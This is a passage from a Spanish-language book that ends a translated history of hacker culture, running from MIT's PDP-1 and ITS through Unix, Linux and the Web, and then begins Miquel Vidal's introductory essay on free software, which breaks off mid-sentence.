Los inicios de la cultura hacker como la conocemos hoy pueden
fijarse en 1961, el año en que el MIT [Instituto de Tecnología de
Massachusetts] adquirió la primera PDP-1.5 El Club de Tecnología de
Trenes a Escala del MIT adoptó la máquina como su juguete favorito e
inventó herramientas de programación, argot y toda una cultura a su
alrededor que todavía sigue entre nosotros. Estos primeros años se
narran en la primera parte del libro Hackers de Steven Levy (New York,
Bantam Books, 1984).

La cultura informática del MIT parece ser la primera en adoptar el
término “hacker”. Los hackers del Club de Modelos de Trenes se con-
virtieron en el núcleo del Laboratorio de Inteligencia Artificial (IA) del
MIT, el centro líder mundial en investigaciones sobre IA a principios de
los ‘80. Su influencia se extendió sobre todo a partir de 1969, el primer
año de la red ARPA.

La red ARPA fue la primera red de computadoras transcontinental
de alta velocidad. Fue creada por el Departamento de Defensa como un
experimento sobre comunicaciones digitales, pero fue creciendo hasta
conectar a cientos de universidades, laboratorios de investigación e
industrias armamentísticas. Permitió a los investigadores de todas par-
tes intercambiar información a una velocidad y flexibilidad sin prece-
dentes, dándole un impulso enorme a los trabajos en colaboración e
incrementando tremendamente el ritmo y la intensidad del avance tec-
nológico.

Pero la red ARPA también hizo otra cosa. Sus autopistas electróni-
cas pusieron en contacto a hackers de todo EE.UU. creando una masa
crítica; en lugar de permanecer aislados en pequeños grupos, cada uno
desarrollando sus propias culturas locales y efímeras, se descubrieron
(o se reinventaron) como tribu unida en red.

Los primeros artefactos deliberados de la cultura hacker –las pri-
meras antologías de argot, las primeras sátiras, las primeras discusiones
conscientes sobre ética hacker– se propagaron por la red ARPA en los

5. Minicomputadoras que eran versiones reducidas de las viejas centrales, pero aún
de tamaño considerable, similar al de una heladera, (N. del T.)
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primeros años (la primera versión de la Jargon File, por ejemplo, data de
1973). La cultura hacker fue creciendo en las universidades conectadas
a la Red, en especial (aunque no exclusivamente) en sus departamentos
de ciencia.

En cuanto a técnica, el laboratorio de Inteligencia Artificial del MIT
estaba por encima de los demás a fines de los ‘60. Pero el Laboratorio de
Inteligencia Artificial de la Universidad de Stanford (SAIL) y (luego) la
Universidad de Carnegie-Mellon (CMU) devinieron casi igual de
importantes. Todos eran centros florecientes de ciencia informática e
investigación de IA. Todos atrajeron a brillantes personas que le aporta-
ron a la cultura hacker grandes cosas, en ambos niveles, técnico y
folklórico.

Pero para comprender lo que vino después tenemos que echarles
otra mirada a las propias computadoras, porque el auge de los labora-
torios y su eventual caída se debieron ambos a olas de cambios en la tec-
nología de las máquinas.

Desde los días de la PDP-1 la suerte de la cultura hacker se vio
unida a la serie de minicomputadoras PDP de DEC (Corporación de
Equipos Digitales). DEC era pionera en computación comercial interac-
tiva y sistemas operativos de recursos compartidos. Debido a que sus
máquinas eran flexibles, poderosas y relativamente baratas para la
época, muchas universidades las compraban.

Los recursos compartidos fueron el medio en el que floreció la cul-
tura hacker y, durante la mayor parte de su existencia, la red ARPA fue
básicamente una red de máquinas DEC. La más importante de éstas fue
la PDP-10, de 1967. Las 10 fueron las máquinas favoritas de la cultura
hacker por casi quince años; TOPS-10 (el sistema operativo de DEC) y
MACRO-10 (su lenguaje de programación) se recuerdan todavía con
nostalgia; los dos produjeron abundante argot y folklore. 

El MIT, pese a usar las mismas PDP-10 que los demás, tomó un
camino ligeramente distinto; descartaron todo el software de DEC para
la PDP-10 y se dedicaron a diseñar su sistema operativo propio, el míti-
co ITS.

ITS quería decir: “Sistema de Recursos Compartidos No
Compatible”,6 lo que da una idea aproximada de su actitud. Lo querían

6. O sea, de Recursos Compartidos como otros sistemas operativos, pero No-
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hacer a su manera. Por suerte para todos, la gente del MIT era inteli-
gente además de arrogante. ITS, a pesar de ser excéntrico y complicado,
y de estar, a veces, cargado de errores, aportaba una serie de innovacio-
nes técnicas brillantes y seguramente mantiene todavía el récord para el
sistema de recursos compartidos vigente por mayor tiempo.

ITS estaba escrito en assembler,7 pero muchos proyectos de ITS se
escribían en un lenguaje con elementos de Inteligencia Artificial llama-
do LISP. LISP era más poderoso y flexible que los demás lenguajes de la
época; de hecho, posee un diseño superior a la mayoría de los lenguajes
de la actualidad, después de veinticinco años. LISP les dio libertad a los
hackers de ITS para pensar de maneras creativas e inusuales. Fue un fac-
tor importante en sus éxitos, y sigue siendo un lenguaje favorito de la
cultura hacker.

Muchas creaciones técnicas de la cultura de ITS hoy siguen vivas; el
editor de programas Emacs8 quizás sea la más conocida. Y mucho del
folklore de ITS sigue “vivo” para los hackers, como se puede ver en la
Jargon File.

SAIL (Stanford) y CMU (Carnegie-Mellon) no se quedaron quietas,
tampoco. Muchos cuadros hackers que se formaron en torno a las
PDP-10 de SAIL se convirtieron después en figuras clave del desarrollo 
de las computadoras personales y las interfaces actuales tipo
ventana/ícono/mouse. Y los hackers de CMU hacían experimentos que
conducirían a las primeras aplicaciones prácticas a gran escala de siste-
mas expertos y robótica industrial.

Otra zona importante de la cultura era Xerox PARC, el famoso
Centro de Investigaciones de Palo Alto. Por más de una década, desde
principios de los ‘70 hasta mediados de los ‘80, PARC entregó un volu-
men sorprendente de innovaciones revolucionarias de hardware y
software. El estilo moderno de las interfaces con mouse, ventanas e íco-
nos se inventó allí. También las impresoras láser y las redes locales; la
serie de computadoras D de PARC se anticipó una década a las podero-
sas computadoras personales de los ‘80. Lamentablemente, estos profe-
tas no eran escuchados en su propia compañía; tanto es así que se vol-

Compatible, por ser mucho mejor que los demás. (N. del T.)
7. Lenguaje de bajo nivel, muy técnico y difícil de leer y escribir. (N. del T.)
8. El creador de este programa fue Richard Stallman. (N. del T.)
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vió un chiste repetido describir a PARC como un lugar dedicado a des-
arrollar ideas brillantes para que las usaran otros. Su influencia en la
cultura hacker fue amplia.

Las culturas de la red ARPA y PDP-10 aumentaron su vigor y
variedad a lo largo de los ‘70. Los sistemas de listas de correo electróni-
co que se habían usado para nutrir la cooperación entre grupos de inte-
rés dispersos por los continentes, se usaban cada vez más con propósi-
tos sociales y recreativos. En ARPA se hizo la “vista gorda” a toda acti-
vidad técnica “no autorizada” –la sobrecarga de datos era un precio
menor a cambio de atraer al campo de la informática a una generación
de jóvenes brillantes.

De las listas de mails “sociales” de la red ARPA, la más popular
debía ser la SF-LOVERS (Amantes de la Ciencia Ficción); de hecho,
sigue funcionando hoy dentro de la red más extensa llamada “Internet”,
la cual absorbió a la red ARPA. Pero había muchas otras, que inaugura-
ban un estilo de comunicación que más tarde sería explotado comer-
cialmente por servicios de recursos compartidos como Compuserve,
GEnie y Prodigy.

El surgimiento de UNIX

Mientras tanto, sin embargo, en un salvaje lugar de Nueva Jersey
otra cosa había estado sucediendo desde 1969 que eventualmente opa-
caría la tradición de la PDP-10. El año del nacimiento de la red ARPA
fue también el año en que un hacker de los laboratorios Labs llamado
Ken Thompson inventó el sistema operativo UNIX.

Thompson había estado involucrado en el desarrollo de un sistema
operativo de recursos compartidos llamado Multics, que tenía orígenes
comunes con ITS. Multics fue un espécimen de prueba para algunas
ideas sobre cómo la complejidad de un sistema operativo se podría
ocultar en su interior, imperceptible para el usuario e incluso para la
mayoría de los programadores. La idea era lograr que usar Multics
desde afuera (¡y programar para él!) se tornara más sencillo, para que
pudiera realizarse más trabajo concreto.

Bell Labs abandonó el proyecto cuando Multics mostró señales de
estar mutando en un inservible elefante blanco (el sistema fue puesto a
la venta luego por la empresa Honeywell pero nunca tuvo éxito). Ken
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Thompson se quedó sin el entorno Multics, y empezó a hacer pruebas
con una mezcla de sus ideas y otras propias en una DEC PDP-7 rescata-
da de la basura.

Otro hacker llamado Denis Ritchie inventó una nuevo lenguaje lla-
mado “C” para usar bajo el UNIX embrionario de Thompson. Al igual
que UNIX, C fue diseñado para ser amable, ligero y flexible. En Bell
Labs se despertó el interés por estas herramientas, y recibieron un
impulso en 1971 cuando Thompson y Ritchie ganaron una convocatoria
para producir lo que hoy llamaríamos un sistema de automatización de
oficina para uso interno. Pero Thompson y Ritchie tenían en mente algo
más grande.

Tradicionalmente, los sistemas operativos se escribían en lenguaje
assembler ajustado para extraer la eficiencia más alta de las computa-
doras que los albergaban. Thompson y Ritchie fueron de los primeros
en darse cuenta de que la tecnología de hardware y de compiladores se
había vuelto lo suficientemente buena para poder escribir un sistema
operativo enteramente en C, y para 1974 el sistema completo había sido
transportado con éxito a diversas computadoras de diferentes tipos.

Esto no se había hecho nunca, y las implicancias fueron enormes. Si
Unix podía mostrar el mismo aspecto, las mismas características, en
computadoras diferentes, podía servir como entorno de software
común para todas ellas. Los usuarios no tendrían que pagar nunca más
por el diseño del software cada vez que cambiaban de computadora.
Los hackers podrían llevar consigo sus herramientas entre diferentes
máquinas, en lugar de tener que reinventar el fuego y la rueda en cada
ocasión. 

Además de la portabilidad, Unix y C tenían otros aspectos ventajo-
sos. Ambos estaban diseñados según una filosofía de “¡Hazlo simple,
estúpido!”. Un programador podía manejar en la cabeza toda la estruc-
tura lógica del C (a diferencia de la mayoría de los lenguajes anteriores)
en vez de tener que consultar los manuales todo el tiempo; y UNIX se
estructuraba como un kit de programas simples diseñados para combi-
narse entre sí de maneras productivas.

Esta combinación mostró ser adaptable a una gama muy amplia de
tareas informáticas, incluyendo muchas totalmente imprevistas por sus
diseñadores. Se difundió con gran rapidez dentro de AT&T, pese a no
contar con ningún apoyo formal de la empresa. Para 1980 se había
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difundido por un gran número de universidades y sitios de investiga-
ción informática, y miles de hackers lo consideraban su hogar.

Las locomotoras de la cultura UNIX inicial fueron las PDP-11 y sus
descendientes, las VAX. Pero debido a la portabilidad de UNIX, éste
corría sin modificaciones esenciales en una diversidad de computadoras
mayor de las que se podía encontrar en toda la red ARPA. Y nadie usaba
assembler; los programas en C se traspasaban al instante entre esas
computadoras.

Unix tenía incluso su propia red, de tipo UUCP (Protocolo de
Transferencia Unix a Unix): lenta e inestable, pero barata. Dos máquinas
Unix podían intercambiar correo electrónico punto-a-punto por la línea
de teléfono común; esta opción era parte del sistema, no un agregado
especial. Los sitios Unix comenzaron a formar en sí una nación en red,
y una cultura hacker la acompañó. En 1980, aparece el primer nodo
Usenet que pronto se extendería hasta superar a ARPA.

En la red ARPA había pocos sitios Unix. Las culturas de las PDP-10
de ARPA y la de Unix comenzaron a encontrarse y confluir en los bor-
des, pero no combinaron bien al principio. Los hackers de la PDP-10
tendían a considerar a los de Unix como una banda de aficionados, que
usaba herramientas de aspecto tosco y primitivo si se las comparaba con
las barrocas y adorables complejidades de LISP e ITS. “¡Cavernícolas!”
–les decían.

Y además había una tercera corriente avanzando. La primera com-
putadora personal había salido al mercado en 1975. Apple se fundó en
1977, y en los años siguientes se produjeron avances a una velocidad
casi increíble. La potencialidad de las microcomputadoras9 era eviden-
te, y atrajo a una nueva generación de jóvenes y brillantes hackers. Su
lenguaje era el BASIC, tan primitivo que tanto los partisanos de la PDP-
10 como los aficionados de Unix lo despreciaban.

El Fin de los Viejos Tiempos

Así estaban las cosas en 1980: tres culturas, que se superponían en
los bordes pero que estaban organizadas en torno a tecnologías muy

9. Las nuevas computadoras personales (Apple, PC, Spectrum, Commodore, etc.)
(N. del T.)
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diferentes: a) la cultura de la red ARPA/PDP-10, fiel a LISP y MACRO y
TOPS-10 e ITS. b) La gente de Unix y C con sus PDP-11´s y sus VAX y
sus lentas conexiones telefónicas. Y c) una horda anárquica de aficiona-
dos a las computadoras chicas y baratas dedicados a darle a la gente el
poder de la computación.

Entre éstas, la cultura de ITS todavía podía reivindicarse como “la
original”. Pero se cernían nubes de tormenta sobre el MIT. La tecnología
de las PDP-10 de la que ITS dependía estaba envejeciendo, y el
Laboratorio mismo se dividió en departamentos para los primeros
intentos de comercializar tecnologías de Inteligencia Artificial. Algunos
de los mejores investigadores del MIT (y del SAIL y la CMU) partieron
tras empleos y altos sueldos en empresas de innovación tecnológica.

La estocada final se produjo en 1983, cuando DEC canceló sus pla-
nes a futuro para la PDP-10 para concentrarse en la P D P - 1 1 y la línea
VAX. ITS perdió su hábitat. Ya que no era portable, llevar el sistema ITS
a las nuevas computadoras requería un esfuerzo que nadie estaba dis-
puesto a hacer. La versión de Berkeley de Unix corriendo en máquinas
VAX se convirtió en el sistema por excelencia de los hackers, y cual-
quiera con cierta visión de futuro podía ver que las computadoras per-
sonales aumentaban su poder tan velozmente que barrerían con todo a
su paso.

En esta época Levy escribió Hackers. Uno de sus mejores informan-
tes fue Richard Stallman (inventor de Emacs), una figura líder en el
Laboratorio del MIT y el vocero más fanático contra la venta comercial
de su tecnología.

Stallman (a quien se conoce usualmente por sus iniciales y nombre
de login, RMS) creó la Free Software Foundation [Fundación Software
Libre] y se dedicó a escribir software libre de alta calidad. Levy lo des-
cribió como “el último hacker auténtico”, una descripción que por suer-
te se probó equivocada.

El gran estilo de trabajo de Stallman es un ejemplo claro de los cam-
bios que atravesaba la cultura hacker a principios de los ‘80; en 1982
comenzó la construcción de un clon completo de Unix, escrito en C y
disponible gratuitamente. Así, el espíritu y la tradición de ITS se pre-
servó como parte importante de la renovada cultura hacker de Unix y
las VAX.
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Fue en esta época también que las tecnologías del microchip y las
redes locales comenzaron a tener un impacto serio en la cultura hacker.
Ethernet y los microchips 68000 de Motorola fueron una combinación
muy potente, y varias empresas se habían creado para diseñar la pri-
mera generación de lo que ahora llamamos estaciones de trabajo.

En 1982, un grupo de hackers del Unix de Berkeley fundaron Sun
Microsystems con la idea de que Unix corriendo en computadoras con
el chip 68000 –relativamente barato– sería una dupla ganadora para una
amplia gama de aplicaciones. Tenían razón, y su visión estableció el
standard para toda la industria. Aunque todavía estuvieran fuera del
alcance de las personas comunes, las estaciones de trabajo eran baratas
para las corporaciones y las universidades; las redes conectadas a ellas
(una estación por usuario) remplazaron rápidamente a las viejas VAX y
otros sistemas de recursos compartidos.

La Era del Unix Propietario

En 1984, cuando Unix se convirtió en un producto comercial por
primera vez, la separación más importante en la cultura hacker lo cons-
tituían una “nación en red” relativamente unida, que había crecido en
torno a Internet y Usenet (en su mayoría usando minicomputadoras o
terminales que usaban Unix), y un archipiélago en gran medida desco-
nectado de fanáticos de las computadoras personales desde sus casas.

Con las máquinas tipo estación de trabajo10 de Sun y otras empre-
sas se abrieron nuevos mundos para los hackers. Se habían diseñado
para generar gráficos de alto rendimiento y compartir datos en redes.
En los ‘80 la cultura hacker se concentró en sacar el mayor provecho de
estas características por medio de software y el diseño de herramientas.
La versión del Unix de Berkeley incorporó soporte para emplear la red
ARPA, lo cual solucionó el problema de la conexión a la red y dio impul-
so al crecimiento de Internet.

Hubo varios intentos de domesticar los gráficos de las estaciones de
trabajo. El que prevaleció fue el Sistema X Window. Un factor crucial de

10. Computadoras de alto rendimiento orientadas a funciones específicas (gráficos,
cálculos complejos, etc.). (N. del T.)
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su éxito fue que los creadores de X deseaban entregar gratuitamente las
fuentes11 del programa de acuerdo con la ética hacker, y estuvieron en
condiciones de distribuirlas en Internet. Este triunfo de X Window sobre
los sistemas de gráficos propietarios (incluido uno ofrecido por la pro-
pia Sun) sentó un precedente importante de cambios que, pocos años
después, afectarían profundamente al mismo Unix. 

Quedaba en el ambiente un poco de melancolía que se sacaba a
relucir cada tanto en la rivalidad entre ITS y Unix (sobre todo del lado
de los de ex-ITS). Pero la última máquina ITS dejó de funcionar para
bien en 1990; a los fanáticos no les quedó otra que aceptar la derrota y
asimilarse a la cultura Unix, aunque sea a regañadientes.

En la cultura hacker conectada en red, la gran rivalidad de los ‘80 la
protagonizaron los fans de las versiones Berkeley y AT&T de Unix. A
veces todavía se encuentran copias de un póster de esa época, que
muestra una nave X-wing de Star Wars huyendo de una Estrella de la
Muerte con el logo de AT&T que vuela en pedazos. Los hackers de
Berkeley se veían a si mismos como rebeldes contra los mezquinos
imperios corporativos. El Unix de AT&T nunca igualó al de
Berkeley/Sun en ventas, pero ganó la guerra por los standards. Para
1990, se hacía difícil distinguir las versiones de Berkeley y AT&T, pues
habían adoptado muchas innovaciones una de la otra.

Al empezar los ‘90 la tecnología de estaciones de trabajo de la déca-
da anterior empezaba a verse severamente asediada por nuevas com-
putadoras personales (PC´s), baratas y de alto rendimiento basadas en
el chip Intel 386 y sus sucesores. Por primera vez, los hackers podían
acceder en su casa a una computadora comparable en poder y almace-
namiento a las minicomputadoras de diez años atrás –sistemas Unix
capaces de sostener un entorno de desarrollo completo y comunicarse
con Internet.

El mundo del MS-DOS ni se enteró de esto. Aunque aquellos pri-
meros entusiastas de las computadoras personales se expandieron rápi-
damente a una población de hackers de DOS y Mac en una magnitud
mayor que los de la cultura de la “nación en red”, nunca se convirtieron

11. El texto original de un programa escrito por sus programadores. Es esencial
para saber cómo funciona, y aprender de él (N. del T.)
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en una cultura consciente de sí misma. El ritmo de los adelantos era tan
veloz que surgieron cincuenta culturas tecnológicas distintas y se extin-
guieron como moscas, sin alcanzar la estabilidad necesaria para de-
sarrollar una tradición, argot, folklore e historia mítica comunes. La
ausencia de una red eficaz comparable a la UUCP o la Internet impidió
que se convirtieran en una “nación en red” por sí mismas. El creciente
acceso telefónico a servicios comerciales tipo CompuServe y Genie
empezaba a imponerse, pero el hecho de que los sistemas operativos
distintos a Unix no vinieran con herramientas de desarrollo incorpora-
das hizo que circulara muy poco código fuente. Así, no se generó nin-
guna tradición cooperativa de “hacking”.

La cultura hacker, (des)organizada en torno a Internet y a esta altu-
ra identificada con la cultura tecnológica de Unix, era indiferente a los
servicios comerciales. Ellos querían mejores herramientas y más
Internet, y las PC de 32 bits baratas prometían poner ambas cosas al
alcance de todos.

¿Pero qué pasaba con el software? Los sistemas Unix seguían sien-
do caros, varios miles de dólares. A principios de los ‘90 varias compa-
ñías vendían versiones para PC del UNIX de AT&T o Berkeley (BSD). Su
éxito fue escaso, los precios no bajaron y (sobre todo) junto al sistema
operativo no se adquirían las fuentes modificables. El modelo de nego-
cios tradicional del software no les daba a los hackers lo que querían. 

Tampoco lo hacía la Fundación de Software Libre. El desarrollo de
HURD, el código de Unix abierto y libre para los hackers que Richard
Stallman venía prometiendo desde hace tiempo, quedó trabado duran-
te años y no logró producir nada parecido a un sistema sólido hasta
1996 (aunque para 1990 la FSF ya brindaba casi todas las demás partes
complejas de un sistema operativo estilo Unix).

Para peor, se hacía claro a comienzos de los ‘90 que los diez años de
esfuerzos por hacer redituable la venta de Unix terminaban en fracaso.
La prometida portabilidad entre plataformas de Unix se extravió en
medio de batallas legales entre la más de media docena de versiones
propietarias de Unix. Los que vendían Unix fueron tan torpes, ciegos e
ineptos para el marketing que Microsoft pudo robarles gran parte del
mercado con su tecnología Windows ridículamente inferior.

A principios de 1993, un observador hostil contaba con motivos
para decir que la historia de Unix se extinguía, y con ella la suerte de la
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tribu hacker. No escaseaban testigos así en la prensa informática; la
inminente muerte de Unix se predecía cíclicamente cada seis meses
desde fines de los ’70 .

En aquellos días todos creían que la era del tecno-heroísmo se había
acabado, que la industria del software y la naciente Internet serían
dominadas por colosos como Microsoft. La primera generación de
hackers de Unix parecía agotada y envejecida (el grupo de Investigación
de Ciencia Informática de Berkeley se quedó sin nafta y perdió el apoyo
financiero en el ‘94). Fueron días deprimentes.

Pero por suerte habían estado pasando cosas fuera de la vista de la
prensa comercial, y fuera incluso de la vista de la mayoría de los
hackers, que terminarían generando cambios muy motivadores a fines
de 1993 y 1994. Eventualmente, éstos llevarían a la cultura en una direc-
ción completamente nueva y hacia un éxito jamás soñado.

Los Primeros Unix Libres

En el bache que dejó el intento fallido de Stallman de crear un Unix
libre,12 apareció un estudiante de la Universidad de Helsinki llamado
Linus Torvalds. En 1991 comenzó a desarrollar un kernel13 libre de
Unix para máquinas 386 usando las herramientas de la Fundación
Software Libre. Su veloz éxito inicial atrajo a muchos hackers de
Internet que cooperaron con él para desarrollar Linux, un Unix total-
mente equipado con fuentes gratuitas y de distribución libre. 

A Linux no le faltaban competidores. En 1991, al mismo tiempo que
los primeros experimentos de Linus Torvalds, William y Lyne Jolitz
estaban transportando a modo de prueba el Unix de Berkeley (BSD) a la
PC 386. La mayoría de los expertos que compararon la tecnología de la
versión BSD con los primeros intentos de Linus dijeron que esa adapta-
ción de BSD se convertiría en el Unix libre más importante para la PC.

12. O sea, exento de derechos de autor y con su código fuente disponible para
todos, por lo que se permite hacer copias y modificarlo. Ver la segunda sección de
este volumen. (N. del T.)
13. El núcleo de instrucciones más importantes de un sistema operativo.  (N. del T.)
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Pero el aspecto más importante de Linux no era técnico, sino socio-
lógico. Hasta el desarrollo de Linux, todos creían que cualquier
software tan complejo como un sistema operativo debía desarrollarse
con cuidado, de manera coordinada, por un grupo muy unido y no muy
grande de personas. Este modelo es y era típico tanto del software
comercial como de las grandes catedrales de software libre de la
Fundación Software Libre de los ‘80; también de los proyectos
BSDlibre/BSDred/BSDabierto que derivaron de las implementaciones
de UNIX BSD 386 de Jolitz.

Linux evolucionó de un modo radicalmente distinto. Casi desde el
principio, se abalanzaron con entusiasmo sobre él un enorme número
de hackers coordinados sólo a través de Internet. La calidad se conse-
guía no por medio de standards rígidos o de verticalismo, sino por la
estrategia tan sencilla de hacer públicas las nuevas versiones todas las
semanas y a los pocos días recoger las respuestas de cientos de usuarios,
creando una suerte de selección darwiniana acelerada sobre las muta-
ciones introducidas por programadores. Para sorpresa de la mayoría,
esto funcionó bien.

Para fines de 1993, Linux podía competir en estabilidad y confiabi-
lidad con muchos Unix comerciales, y contaba con mayor cantidad de
software. Incluso empezaba a interesar a empresas comerciales. Un efec-
to indirecto de este proceso fue la desaparición de la mayoría de los
pequeños distribuidores de Unix comerciales –que sin programadores y
hackers a los que venderles, quebraron. Uno de los pocos sobrevivien-
tes, BSDI (Berkeley Systems Design, Incorporated) se plegó a la nueva ten-
dencia, ofreciendo las fuentes completas de su Unix-BSD y cultivando
relaciones amistosas con la comunidad hacker.

Estos cambios pasaron desapercibidos en su momento, incluso den-
tro de la cultura hacker. La cultura hacker, desafiando todos los pronós-
ticos de su desaparición, estaba empezando a rediseñar el mundo del
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software comercial a su semejanza. Pasarían cinco años más, de cual-
quier modo, antes de que esta tendencia se hiciera evidente.

La Gran Explosión de la Web

El crecimiento inicial de Linux se potenció con otro fenómeno: el
descubrimiento masivo de la Internet. El inicio de los ‘90 también vio el
inicio de una floreciente industria de proveedores de Internet, que ven-
dían el acceso por unos pocos dólares al mes. Con la invención de la
World Wide Web,14 el ya rápido crecimiento de Internet se hizo vertigi-
noso. 

Para 1994, el año en que el grupo de desarrollo del Unix de Berkeley
anunció formalmente que se retiraba, varias versiones libres diferentes
de Unix (Linux y las descendientes de BSD 386) fueron los focos de aten-
ción de la actividad hacker. Linux se estaba distribuyendo comercial-
mente en CD-ROM y vendiéndose como pan caliente. Para fines de
1995, las grandes compañías de informática comenzaban a publicar
anuncios cargados de argot celebrando lo fácil que era entrar a Internet
con sus computadoras y software.

A fines de los ‘90 las actividades principales de la cultura hacker
fueron el desarrollo de Linux y la popularización de Internet. La World
Wide Web transformó la Internet en un medio masivo, y muchos de los
hackers de los ‘80 y principios de los ‘90 lanzaron Servicios de
Proveedores de Internet vendiendo o facilitando el acceso a las masas.

La popularización de Internet trajo además para la cultura hacker el
inicio de su respetabilidad pública y de la intervención política. En 1994
y 1995 el activismo de los hackers abortó el programa Clipper, que
hubiera puesto la encriptación avanzada de datos bajo control del
gobierno. En 1996 los hackers movilizaron una amplia coalición para
combatir la mal llamada “Acta de Decencia de las Comunicaciones” y
prevenir la censura en Internet.

14.  Internet existía desde fines de los ‘60, pero los protocolos para páginas web
aparecen a principios de los ‘90. (N. del T.)
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Con esta victoria pasamos de la historia a la realidad actual.
También pasamos a un período en el que vuestro historiador se con-
vierte en actor, no sólo observador. Esta narración continuará en “The
Revenge of the Hackers” [La Venganza de los Hackers].15

“Todos los gobiernos son en mayor o menor medida alianzas
contra el pueblo … y en tanto los gobernantes no poseen más virtu-
des que los gobernados … el poder de un gobierno sólo puede mante-
nerse dentro de los límites constitucionales a través de la exhibición
de un poder equiparable a él, el sentimiento colectivo del pueblo.”

Benjamin Franklin, en un editorial 
de Philadelphia Aurora, 1794

15.  Este texto de Raymond se encuentra en AA.VV., Open Sources: Voices from the
open source revolution, Sebastopol (EE.UU.), O'Reilly, 1999 (versión en internet:
http://www.oreilly.com/catalog/opensources/book/raymond2.html), así como tam-
bién en la edición ampliada de su The Cathedral & the Bazaar: Musings on Linux and
Open Sourse by an Accidental Revolutionary. Sebastopol, O'Reilly, 2001 (versión en
internet:  http://www.catb.org/~esr/writings/cathedral-bazaar/). [hay trad. cast. en
elaboración de la compilación Open Sources en TLDP-ES/LuCAS (Hispalinux); ver
http://es.tldp.org/htmls/proy-opensources.html] (N. del E.)



2. SOFTWARE
LIBRE



Miquel Vidal participa desde hace años en
distintas iniciativas de uso social de Internet y

el software libre. Formó parte de la primera área
telemática en un centro social okupado en España.
Fue uno de los fundadores del proyecto
sinDominio (http://sindominio.net/) en 1999, un
proyecto antagonista que busca “transformar las
condiciones sociales del mundo en que vivimos
desde la horizontalidad, la cooperación y la libre
circulación del saber”. También colaboró con el
mantenimiento técnico del nodo madrileño de
Indymedia (http://madrid.indymedia.org/).
Profesionalmente se desempeña como administra-
dor de barrapunto.com, sitio de referencia de la
comunidad hispana de software libre.

Fue publicado en agosto de 2000 en la biblioweb
de sinDominio; ha sido citado y reproducido en

numerosas ocasiones. 



Si bien el software libre no es un fenómeno nuevo ya que existe
desde los orígenes de la informática, sí es relativamente reciente su
modelo cooperativo de producción en red –el llamado modelo bazar– y el
movimiento social que lo avala –la comunidad del software libre. No ha
sido hasta los últimos cinco años en que, ligado a la extensión de
Internet y a la popularización de los ordenadores personales, el movi-
miento del software libre ha alcanzado su masa crítica, ha dejado de ser
sólo cosa de algunos programadores y se ha convertido en un fenóme-
no de cooperación social liberada. En la época de la subsunción real de
la totalidad de las fuerzas productivas bajo el capital, en la cual todo
acaba valorizado en términos mercantiles, las empresas han tardado en
advertirlo pero finalmente se han lanzado a la caza y captura de esta
increíble máquina productiva, tal vez la mayor empresa colectiva que
existe hoy día. ¿Qué es pues el software libre, que tanto interés está
empezando a despertar? 

1. ¿Qué es el software? 

El software es una producción inmaterial del cerebro humano y tal
vez una de las estructuras más complicadas que la humanidad conoce.
De hecho, los expertos en computación aún no entienden del todo cómo
funciona, su comportamiento, sus paradojas y sus límites.1

[45]

Cooperación sin mando: una introducción al
software libre

Miquel Vidal

1. El empeño por crear procesos computacionales cada vez más mecanizados y
“autoconstructivos” nos ofrece algunos ejemplos de esos límites, que son los de la
lógica. Gracias al genial matemático Kurt Gödel, se conocen bien algunos de esos
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Básicamente, el software es un plan de funcionamiento para un tipo
especial de máquina, una máquina “virtual” o “abstracta”. Una vez
escrito mediante algún lenguaje de programación, el software se hace
funcionar en ordenadores, que temporalmente se convierten en esa
máquina para la que el programa sirve de plan. El software permite
poner en relación al ser humano y a la máquina y también a las máqui-
nas entre sí. Sin ese conjunto de instrucciones programadas, los ordena-
dores serían objetos inertes, como cajas de zapatos, sin capacidad
siquiera para mostrar algo en la pantalla. 

Los ordenadores sólo procesan lenguaje binario,2 pero para las per-
sonas este no es un modo válido de comunicarse (salvo a nivel sinápti-
co :-). Si bien en los tiempos heroicos de los primeros ordenadores no les
quedaba otro remedio que hacerlo, los programadores hace mucho que
no escriben su código en lenguaje binario (denominado técnicamente
“código-máquina”), pues es terriblemente tedioso, improductivo y muy
sujeto a errores. Hace tiempo que los programadores escriben las ins-
trucciones que ha de ejecutar el procesador de la máquina mediante len-
guajes formales, llamados “de alto nivel”, bastante cercanos al inglés, si
bien con rígidas reglas sintácticas que lo asemejan a los lenguajes lógi-
co-formales. Esto facilita enormemente la tarea de escribir programas
pero, para que esas instrucciones sean comprensibles para el procesa-
dor, deben ser convertidas antes a código-máquina. Esa conversión se
realiza cómodamente con programas especiales, llamados compilado-
res. A lo que escribe el programador se le denomina “código-fuente”. Al
resultado de la “conversión” (compilación) en lenguaje-máquina, se le
denomina “código-objeto”, “binarios” o “ficheros ejecutables”. En prin-
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límites en la noción de recursión, parte fundamental de la informática moderna.
Uno de ellos es la irresolubilidad del “problema de la detención”, que consiste en
decidir, dado un ordenador arbitrario provisto de un programa y de unos datos
arbitrarios, si llegará a detenerse o si quedará atrapado en un bucle infinito. Otro
es la demostración de que ningún programa que no altere el sistema operativo de
un ordenador será capaz de detectar todos los programas que sí lo hagan (por
ejemplo, los virus).
2. O sea, basado en dos estados, conocidos universalmente como “bits” (binary
digits). La lógica binaria no es una limitación ontológica de las máquinas, de hecho
algunos de los primeros ordenadores, como el ENIAC, operaban en base 10. Si los
ordenadores se construyen con arquitectura biestable es porque resultan mucho
más sencillos y baratos de fabricar que si ese mismo hardware estuviese obligado
a instanciar diez estados distintos.
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cipio, al usuario común sólo le importa este último nivel, los “binarios”,
pero conviene tener clara la distinción entre fuentes y binarios pues es
clave para entender el empeño de los partidarios del software libre en
disponer de las fuentes. 

Pero el software libre es mucho más que el derecho de los progra-
madores y de los hackers3 a disponer de las fuentes del código: signifi-
ca también la libertad de copiar y redistribuir esos programas. Esos
derechos, o su ausencia, condicionan a cualquiera que use un ordenador
y han configurado la industria del software y de la informática tal y
como la conocemos hoy día. También ha dado lugar a un movimiento
social –el del software libre– cuya historia reconstruiremos brevemente
en las próximas líneas. 

2. Los inicios

En la informática de los años sesenta y setenta y en la cultura hacker
que surgió en torno a ella, se disponía libremente de las herramientas
necesarias y del código fuente de la gran mayoría de los programas. La
colaboración forma parte desde antiguo de los hábitos de la comunidad
científica y además, ante la diversidad de plataformas, era necesario dis-
poner del código cuando se adquiría el programa para poder portarlo al
hardware de cada cual. Era tan normal como compartir recetas de coci-
na y ni siquiera se hablaba de “software libre”, pues todo el que quería
programar se beneficiaba de ello y veía lógico que los demás se pudie-
sen beneficiar a su vez. Los hackers copiaban los programas, intercam-
biaban sus fuentes, podían estudiarlas, evaluarlas, adaptarlas a sus
necesidades y a su hardware, reutilizaban una parte del código para
